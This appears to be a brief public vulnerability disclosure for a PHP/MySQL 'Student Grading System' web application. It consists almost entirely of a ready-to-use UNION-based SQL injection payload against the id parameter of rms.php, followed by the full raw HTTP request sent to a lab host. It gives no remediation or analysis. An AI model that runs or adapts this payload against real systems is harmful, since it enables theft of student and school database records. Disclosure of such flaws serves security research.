vendors: https://www.sourcecodester.com/php/14522/student-grading-system-using-phpmysql-source-code.html
Vulnerability File: /student-grading-system/rms.php?page=student_p&id=
Vulnerability location: /student-grading-system/rms.php?page=student_p&id=,id
[+] Pyaload: id=1%27%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,database(),11,12,13,14,15,16,CONCAT(0x716a767a71,0x4363574d72716c57514d6f6e626241676a5469757266544a466d704755435841746863464d445244,0x716a787a71),18,19--+-
GET /student-grading-system/rms.php?page=student_p&id=1%27%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,database(),11,12,13,14,15,16,CONCAT(0x716a767a71,0x4363574d72716c57514d6f6e626241676a5469757266544a466d704755435841746863464d445244,0x716a787a71),18,19--+- HTTP/1.1
Host: 192.168.1.19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=j0d3j11j73v4lm3m8d74g5d3gu
Connection: close